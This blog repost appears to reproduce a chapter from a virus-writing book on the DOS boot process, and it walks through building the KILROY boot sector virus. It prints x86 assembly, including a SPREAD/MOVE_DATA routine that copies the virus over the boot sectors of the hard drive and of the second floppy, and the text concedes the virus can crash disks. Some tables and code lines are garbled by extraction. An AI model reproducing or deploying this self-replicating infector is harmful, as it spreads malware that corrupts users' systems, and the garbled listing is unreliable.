Subscribe For Free Updates!

We'll not spam mate! We promise.

0

The boot sector virus can be the simplest or the most sophisticated of all computer viruses. On the one hand, the boot sector is always located in a very specific place on disk. Therefore, both the search and copy mechanisms can be extremely quick and simple, if the virus can be contained wholly within the boot sector. On the other hand, since the boot sector is the first code to gain control after the ROM startup code, it is very difficult to stop before it loads. If one writes a boot sector virus with sufficiently sophisticated anti-detection routines, it can also be very difficult to detect after it loads, making the virus nearly invincible. In the next two chapters we will examine both extremes. This chapter will take a look at one of the simplest of all boot sector viruses to learn the basics of how they work. The following chapter will dig into the details of a fairly sophisticated one.

Boot Sectors

To understand the operation of a boot sector virus one must first understand how a normal, uninfected boot sector works. Since the operation of a boot sector is hidden from the eyes of a casual user, and often ignored by books on PC’s, we will discuss them here.
When a PC is first turned on, the CPU begins executing the machine language code at the location F000:FFF0. The system BIOS ROM (Basic-Input-Output-System Read-Only-Memory) is located in this high memory area, so it is the first code to be executed by the computer. This ROM code is written in assembly language and stored on chips (EPROMS) inside the computer. Typically this code will perform several functions necessary to get the computer up and running properly. First, it will check the hardware to see what kinds of devices are a part of the computer (e.g., color or mono monitor, number and type of disk drives) and it will see whether these devices are working correctly. The most familiar part of this startup code is the memory test, which cycles through all the memory in the machine twice, displaying the addresses on the screen. The startup code will also set up an interrupt table in the lowest 1024 bytes of memory. This table provides essential entry points (interrupt vectors) so all programs loaded later can access the BIOS services. The BIOS startup code also initializes a data area for the BIOS starting at the memory location 0040:0000H, right above the interrupt vector table. Once these various housekeeping chores are done, the BIOS is ready to transfer control to the operating system for the computer, which is stored on disk.
But which disk? Where on that disk? What does it look like? How big is it? How should it be loaded and executed? If the BIOS knew the answers to all of these questions, it would have to be configured for one and only one operating system. That would be a problem. As soon as a new operating system (like OS/2) or a new version of an old familiar (like MS-DOS 4.0) came out, your computer would become obsolete! For example, a computer set up with PC-DOS 2.0 could not run MS-DOS 3.3, or Xenix. A machine set up with CPM-86 (an old, obsolete operating system) could run none of the above. That wouldn’t be a very pretty picture.
The boot sector provides a valuable intermediate step in the process of loading the operating system. It works like this: the BIOS remains ignorant of the operating system you wish to use. However, it knows to first go out to floppy disk drive A: and attempt to read the first sector on that disk (at Track 0, Head 0, Sector 1) into memory at location 0000:7C00H. If the BIOS doesn’t find a disk in drive A:, it looks for the hard disk drive C:, and tries to load
ROM BIOS
F000:0000
(RAM)

Boot S ector

IBMBIO.COM



0000:7C00
0000:0700
Figure 13: Loading the DOS operating system.
its first sector. (And if it can’t find a disk anywhere, it will either go into ROM Basic or generate an error message, depending on what kind of a computer it is.) Once the first sector (the boot sector) has been read into memory, the BIOS checks the last two bytes to see if they have the values 55H AAH. If so, the BIOS assumes it has found a valid boot sector, and transfers control to it at 0000:7C00H. From this point on, it is the boot sector’s responsibility to load the operating system into memory and get it going, whatever the operating system may be. In this way the BIOS (and the computer manufacturer) avoids having to know anything about what operating system will run on the computer. Each operating system will have a unique disk format and its own configuration, its own system files, etc. As long as every operating system puts a boot sector in the first sector on the disk, it will be able to load and run.
Since a sector is normally only 512 bytes long, the boot sector must be a very small, rude program. Generally, it is designed to load another larger file or group of sectors from disk and then pass control to them. Where that larger file is depends on the operating system. In the world of DOS, most of the operating system is kept in three files on disk. One is the familiar COMMAND.COM and the other two are hidden files (hidden by setting the “hidden” file attribute) which are tucked away on every DOS boot disk. These hidden files must be the first two files on a disk in order for the boot sector to work properly. If they are anywhere else, DOS cannot be loaded from that disk. The names of these files depend on whether you’re using PC-DOS (from IBM) or MS-DOS (from Microsoft). Under PC-DOS, they’re called IBMBIO.COM and IBMDOS.COM. Under MS-DOS they’re called IO.SYS and MSDOS.SYS.
When a normal DOS boot sector executes, it first determines the important disk parameters for the particular disk it is installed on. Next it checks to see if the two hidden operating system files are on the disk. If they aren’t, the boot sector displays an error message and stops the machine. If they are there, the boot sector tries to load the IBMBIO.COM or IO.SYS file into memory at location 0000:0700H. If successful, it then passes control to that program file, which continues the process of loading the PC/MSDOS operating system. That’s all the boot sector on a floppy disk does.
A hard drive is a little more complex. It will contain two (or more) boot sectors instead of just one. Since a hard drive can be divided into more than one partition (an area on the disk for the use of an operating system), it may contain several different operating systems. When the BIOS loads the boot sector in the first physical sector on the hard drive, it treats it just the same as a floppy drive. However, the sector that gets loaded performs a completely different function. Rather than loading an operating system’s code, this sector handles the partition information, which is also stored in that sector (by the FDISK program in DOS). No matter how many partitions a disk may have, one of them must be made active (by setting a byte in the partition table) to boot off the hard disk. The first boot sector determines which partition is active, moves itself to a different place in memory, and then loads the first sector in the active partition into memory (at 0000:7C00H), where the partition boot sector originally was. The first sector in the active partition is the operating system boot sector which loads the oper-
BIOS Loads Partition Boot S ector Loads DOS Boot S ector
Partition Boot S ector DOS Boot S ector Loads DOS

7C 00
0600

7C 00
0700

Partition
Boot S ector
DOS
Boot S ector
DOS
Boot S ector



Operating
S ystem
(IO.S YS )
Partition
Boot S ector


(1) (2) (3)

Figure 14: The hard disk boot sequence in three steps.
ating system into memory. It is virtually identical to the boot sector on floppy disk.
Designing a boot sector virus can be fairly simple—at least in principle. All that such a virus must do is take over the first sector on disk (or the first sector in the active partition of a hard disk, if it prefers to go after that). From there, it tries to find uninfected disks in the system. Problems arise when that virus becomes so complicated that it takes up too much room. Then the virus must become two or more sectors long, and the author must find a place to hide multiple sectors, load them, and copy them. This can be a messy and difficult job. If a single sector of code could be written that could both load the DOS operating system and copy itself to other disks, one would have a very simple virus which would be practically impossible for the unsuspecting user to detect. Such is the virus we will discuss in this chapter. Its name is KILROY.
Rather than designing a virus that will infect a boot sector, it is much easier to design a virus that simply is a self-reproducing boot sector. That is because boot sectors are pretty cramped—there may only be a dozen free bytes available for “other code”—and the layout of the boot sector will vary with different operating systems. To deal with these variations in such a limited amount of space would take a miracle program. Instead, we will design a whole, functional boot sector.

The Necessary Components of a Boot Sector

To write a boot sector that can both boot up the DOS operating system and reproduce means we are going to have to trim down on some of what a normal boot sector does. The KILROY virus won’t display the polite little error messages like “Non-System disk or disk error / Replace and strike any key when ready” when your disk isn’t configured properly. Instead, it will be real rude to the user if everything isn’t just right. That will make room for the code necessary to carry out covert operations.
To start with, let’s take a look at the basic structure of a boot sector. The first bytes in the sector are always a jump instruction to the real start of the program, followed by a bunch of data about the disk on which this boot sector resides. In general, this data changes from disk type to disk type. All 360K disks will have the same data, but that will differ from 1.2M drives and hard drives, etc. The standard data for the start of the boot sector is described in Table 2. It consists of a total of 43 bytes of information. Most of this information is required in order for DOS and the BIOS to use the disk drive and it should never be changed inadvertently. The one exception is the DOS_ID field. This is simply eight bytes to put a name in to identify the boot sector. We’ll put “Kilroy” there.
Right after the jump instruction, the boot sector sets up the stack. Next, it sets up the Disk Parameter Table also known as the Disk Base Table. This is just a table of parameters which the BIOS uses to control the disk drive (Table 3) through the disk drive controller (a chip on the controller card). More information on these parameters can be found in Peter Norton’s Programmer’s Guide to the IBM PC, and similar books. When the boot sector is loaded, the BIOS has already set up a default table, and put a pointer to it at the address 0000:0078H (interrupt 1E Hex). The boot sector re-
Name

Position
Size
Description
DOS_ID

7C03
8 Bytes
ID of Format program
SEC_SIZE

7C0B
2
Sector size, in bytes
SECS_PER_CLUST
7
C0D 1

Number of sectors per cluster
FAT_START

7C0E
2
Starting sector for the 1st FAT
FAT_COUNT

7C10
1
Number of FATs on the disk
ROOT_ENTRIES

7C11
2
Number of entries in root directory
SEC_COUNT

7C13
2
Number of sectors on this disk
DISK_ID

7C14
1
Disk ID (FD Hex = 360K, etc.)
SECS_PER_FAT

7C15
2
Number of sectors in a FAT table
SECS_PER_TRK
7
C18
2
Number of sectors on a track
HEADS

7C1A
2
Number of heads (sides) on disk
HIDDEN_SECS

7C1C
2
Number of hidden sectors
Table 2: The Boot S ector data.
Offset
Description
0
Specify Byte 1: head unload time, step rate time
1
Specify Byte 2: head load time, DMA mode
2
Time before turning motor off, in clock ticks
3
Bytes per sector (0=128, 1=256, 2=512, 3=1024)
4
Last sector number on a track
5
Gap length between sectors for read/write
6
Data transfer length (set to FF Hex)
7
Gap length between sectors for formatting
8
Value stored in each byte when a track is formatted
9
Head settle time, in milliseconds
A
Motor startup time, in 1/8 second units
Table 3: The Disk Parameter Table.
places this table with its own, tailored for the particular disk. This is standard practice, although in many cases the BIOS table is perfectly adequate to access the disk.
Rather than simply changing the address of the interrupt 1EH vector, the boot sector goes through a more complex procedure that allows the table to be built both from the data in the boot sector and the data set up by the BIOS. It does this by locating the BIOS default table and reading it byte by byte, along with a table stored in the boot sector. If the boot sector’s table contains a zero in any given byte, that byte is replaced with the corresponding byte from the BIOS’ table, otherwise the byte is left alone. Once the new table is built inside the boot sector, the boot sector changes interrupt vector 1EH to point to it. Then it resets the disk drive through BIOS interrupt 13H, function 0, using the new parameter table.
The next step, locating the system files, is done by finding the start of the root directory on disk and looking at it. The disk data at the start of the boot sector has all the information we need to calculate where the root directory starts. Specifically,
FRDS (First root directory sector) = FAT_COUNT*SECS_PER_FAT                                     + HIDDEN_SECS + FAT_START so we can calculate the sector number and read it into memory at 0000:0500H. From there, the boot sector looks at the first two directory entries on disk. These are just 32 byte records, the first eleven bytes of which is the file name. One can easily compare these eleven bytes with file names stored in the boot record. Typical code for this whole operation looks like this:
LOOK_SYS:
     MOV     AL,BYTE PTR [FAT_COUNT]   ;get fats per disk
     XOR     AH,AH
     MUL     WORD PTR [SECS_PER_FAT]   ;multiply by sectors per fat
     ADD     AX,WORD PTR [HIDDEN_SECS] ;add hidden sectors
     ADD     AX,WORD PTR [FAT_START]   ;add starting fat sector
     PUSH    AX
     MOV     WORD PTR [DOS_ID],AX      ;root dir, save it
     MOV     AX,20H                    ;dir entry size
     MUL     WORD PTR [ROOT_ENTRIES]   ;dir size in ax
     MOV     BX,WORD PTR [SEC_SIZE]    ;sector size
     ADD     AX,BX                     ;add one sector
     DEC     AX                        ;decrement by 1
     DIV     BX                        ;ax=# sectors in root dir
     ADD     WORD PTR [DOS_ID],AX      ;DOS_ID=start of data
     MOV     BX,OFFSET DISK_BUF        ;set up disk read buffer @ 0:0500
     POP     AX                        ;and go convert sequential
     CALL    CONVERT                   ;sector number to bios data
Position
Size
Description
00 Hex
8 Bytes
File Name (ASCII, space filled)
08
3
File Name Extension (ASCII, space filled)
0B
1
File Attribute
0C
10
Reserved, Zero filled
16
2
Time file last written to
18
2
Date file last written to
1A
2
Starting FAT entry
1C
4
File size(long integer)
Table 4: The format of a directory entry on disk.
     MOV     AL,1                      ;prepare for a 1 sector disk read
     CALL    READ_DISK                 ;go read it
     MOV     DI,BX                     ;compare first file on disk with
     MOV     CX,11                     ;required file name
     MOV     SI,OFFSET SYSFILE_1       ;of first system file for PC DOS
     REPZ    CMPSB
     JZ      SYSTEM_THERE              ;ok, found it, go load it
     MOV     DI,BX                     ;compare first file with
     MOV     CX,11                     ;required file name
     MOV     SI,OFFSET SYSFILE_2       ;of first system file for MS DOS
     REPZ    CMPSB ERROR2:
     JNZ     ERROR2                    ;not the same - an error, so stop
Once the boot sector has verified that the system files are on disk, it tries to load the first file. It assumes that the first file is located at the very start of the data area on disk, in one contiguous block. So to load it, the boot sector calculates where the start of the data area is,
FDS (First Data Sector) = FRDS
         + [(32*ROOT_ENTRIES) + SEC_SIZE - 1]/SEC_SIZE
and the size of the file in sectors. The file size in bytes is stored at the offset 1CH from the start of the directory entry at 0000:0500H. The number of sectors to load is at most
SIZE IN SECTORS = (SIZE_IN_BYTES/SEC_SIZE) + 1
(Note that the size of this file is always less than 29K or it cannot be loaded.) The file is loaded at 0000:0700H. Then the boot sector sets up some parameters for that system file in its registers, and transfers control to it. From there the operating system takes over the computer, and eventually the boot sector’s image in memory is overwritten by other programs.

Gutting Out the Boot Sector

The first step in creating a one sector virus is to write some code to perform all of the basic boot sector functions which is as code-efficient as possible. All of the functionality discussed above is needed, but it’s not what we’re really interested in. So we will strip out all the fancy bells and whistles that are typically included in a boot sector. First, we want to do an absolute minimum of error handling. The usual boot sector displays several error messages to help the user to try to remedy a failure. Our boot sector virus won’t be polite. It doesn’t really care what the user does when the boot up fails, so if something goes wrong, it will just stop. Whoever is using the computer will get the idea that something is wrong and try a different disk anyhow. This rudeness eliminates the need for error message strings, and the code required to display them. That can save up to a hundred bytes.
The second point of rudeness we will incorporate into our boot sector virus is that it will only check the disk for the first system file and load it. Rarely is one system file present and not the other, since both DOS commands that put them on a disk (FORMAT and SYS) put them there together. If for some reason the second file does not exist, our boot sector will load and execute the first one, rather than displaying an error message. The first system program will just bomb then when it goes to look for the second file and it’s not there. The result is practically the same. Trimming the boot sector in this fashion makes it necessary to search for only two files instead of four, and saves about 60 bytes.
Two files instead of four? Didn’t I just say that the boot sector only looks for the two system files to begin with? True, most boot sectors do, but a viral boot sector must be different. The usual boot sector is really part of an operating system, but the viral boot sector is not. It will typically jump from disk to disk, and it will not know what operating system is on that disk. (And there’s not enough room in one sector to put in code that could figure it out and make an intelligent choice.) So our solution will be to assume that the operating system could be either MS-DOS or PC-DOS and nothing else. That means we must look for system files for both MS-DOS or PC-DOS, four files. Limiting the search to the first system file means that we only have to find IO.SYS or IBMBIO.COM.
Anyhow, incorporating all of these shortcuts into a boot sector results in 339 bytes of code, which leaves 173 bytes for the search and copy routines. That is more than enough room. The listing for this basic (non-viral) boot sector, BOOT.ASM, is presented in Appendix C.

The Search and Copy Mechanism

Ok, let’s breathe some life into this boot sector. Doing that is easy because the boot sector is such a simple animal. Since code size is a primary concern, the search and copy routines are combined in KILROY to save space.
First, the copy mechanism must determine where it came from. The third to the last byte in the boot sector will be set up by the virus with that information. If the boot sector came from drive A, that byte will be zero; if it came from drive C, that byte will be 80H. It cannot come from any other drive since a PC boots only from drive A or C.
Once KILROY knows where it is located, it can decide where to look for other boot sectors to infect. Namely, if it is from drive A, it can look for drive C (the hard disk) and infect it. If there is no drive C, it can look for a second floppy drive, B:, to infect. (There is never any point in trying to infect A. If the drive door on A: were closed, so it could be infected, then the BIOS would have loaded the boot sector from there instead of C:, so drive A would already be infected.)
One complication in infecting a hard drive is that the virus cannot tell where the DOS boot sector is located without loading the partition boot sector (at Track 0, Head 0, Sector 1) and reading the information in it. There is not room to do that in such a simple virus, so we just guess instead. We guess that the DOS boot sector is located at Track 0, Head 1, Sector 1, which will normally be the first sector in the first partition. We can check the last two bytes in that sector to make sure they are 55H AAH. If they are, chances are good that we have found the DOS boot sector. In the relatively rare cases when those bytes belong to some other boot sector, for a different operating system, tough luck. The virus will crash the disk. If the ID bytes 55H AAH are not found in an infection attempt, the virus will be polite and forget about trying to infect the hard drive. It will go for the second floppy instead.
Once a disk has been found to infect, the copy mechanism is trivial. All one need do is:
  1. Read the boot sector from the disk to infect into a dataarea.
  2. Copy the viral boot sector into this data area, exceptthe disk data at the start of the sector, which is dependent on the drive.
  3. Write the infected sector back out to the disk which isbeing infected.
That’s it. The code for the search/copy mechanism looks like this:
SPREAD:
     MOV     BX,OFFSET DISK_BUF        ;read other boot sectors to here
     CMP     BYTE PTR [DRIVE],80H
     JZ      SPREAD2                   ;if it’s C, go try to spread to B
     MOV     DX,180H                   ;if it’s A, try to spread to C
     CMP     BYTE PTR [HD_COUNT],0     ;see if there is a hard drive
     JZ      SPREAD2                   ;none - try floppy B
     MOV     CX,1                      ;read Track 0, Sector 1
     MOV     AX,201H
     INT     13H
     JC      SPREAD2                   ;on error, go try drive B
     CMP     WORD PTR [NEW_ID],0AA55H  ;make sure it’s really a boot sec
     JNZ     SPREAD2
     CALL    MOVE_DATA
     MOV     DX,180H                   ;and go write the new sector
     MOV     CX,1
     MOV     AX,301H
     INT     13H       JC      SPREAD2                   ;error writing to C:, try B:
     JMP     SHORT LOOK_SYS            ;no error, look for system files SPREAD2:
     MOV     AL,BYTE PTR [SYSTEM_INFO] ;first see if there is a B drive
     AND     AL,0C0H
     ROL     AL,1                      ;put bits 6 & 7 into bits 0 & 1
     ROL     AL,1       INC     AL                        ;add one, so now AL=# of drives
     CMP     AL,2
     JC      LOOK_SYS                  ;no B drive, just quit
     MOV     DX,1                      ;read drive B
     MOV     AX,201H                   ;read one sector
     MOV     CX,1                      ;read Track 0, Sector 1
     INT     13H
     JC      LOOK_SYS                  ;if an error here, just exit
     CMP     WORD PTR [NEW_ID],0AA55H  ;make sure it’s really a boot sec
     JNZ     LOOK_SYS                  ;no, don’t attempt reproduction
     CALL    MOVE_DATA                 ;yes, move this boot sec in place
     MOV     DX,1       MOV     AX,301H                   ;and write this boot sector to B:
     MOV     CX,1
     INT     13H
MOVE_DATA:
     MOV     SI,OFFSET DSKBASETBL      ;move all of the boot sector code
     MOV     DI,OFFSET DISK_BUF + (OFFSET DSKBASETBL - OFFSET BOOTSEC)
     MOV     CX,OFFSET DRIVE - OFFSET DSKBASETBL
     REP     MOVSB
     MOV     SI,OFFSET BOOTSEC         ;move initial jmp and the sec ID
     MOV     DI,OFFSET DISK_BUF
     MOV     CX,11
     REP     MOVSB
     RET
We place this code in the boot sector after the Disk Parameter Table has been set up, and before the system files are located and loaded.

Taming the Virus

The KILROY virus is very subtle. The average user may never see a clue that it is there. Since there is enough room left, let us be kind, and put in some code to display the message “Kilroy was here!” at boot time. Since DOS hasn’t been loaded yet, we can’t use DOS to display that message. Instead we use BIOS Interrupt 10H, Function 0EH, and apply it repeatedly, as follows:
DISP_MSG:
     MOV     SI,OFFSET MESSAGE         ;set offset of message up DM1:
     MOV     AH,0EH                    ;Execute BIOS INT 10H, Fctn 0EH
     LODSB                             ;get character to display
     OR      AL,AL
     JZ      DM2                       ;repeat until 0
     INT     10H                       ;display it
     JMP     SHORT DM1                 ;and get another
DM2:  RET
MESSAGE:        DB      ’Kilroy was here!’,0DH,0AH,0AH,0
There. That will tame the virus a bit. Besides displaying a message, the virus can be noticed as it searches for drives to infect, especially if you have a second floppy. If your hard disk is infected, or if you have no hard disk, you will notice that the second floppy lights up for a second or two before your machine boots up. It didn’t used to do that. This is the virus going out to look for a disk in that drive to infect. If there is no disk in the drive, the Interrupt 13H call will return an error and the boot sector will load the operating system and function normally.

This is a pretty rudimentary virus. It can make mistakes when infecting the hard drive and miss the boot sector. It can only replicate when the machine boots up. And it can get stuck in places where it cannot replicate any further (for example, on a system with only one floppy disk and a hard disk). Still, it will do it’s job, and travel all around the world if you’re not careful with it.

About The Author
Hasan Shaikh is the founder and admin of ShmHack, a popular blog dedicated for Learners,Geeks and Bloggers. He is currently 19 years old and loves to post articles related to blogging,SEO,adsense,hacking,security,social medias,computer and android. Find more about him...

Post a Comment

Write Your Precious Comments Here.!

 
Top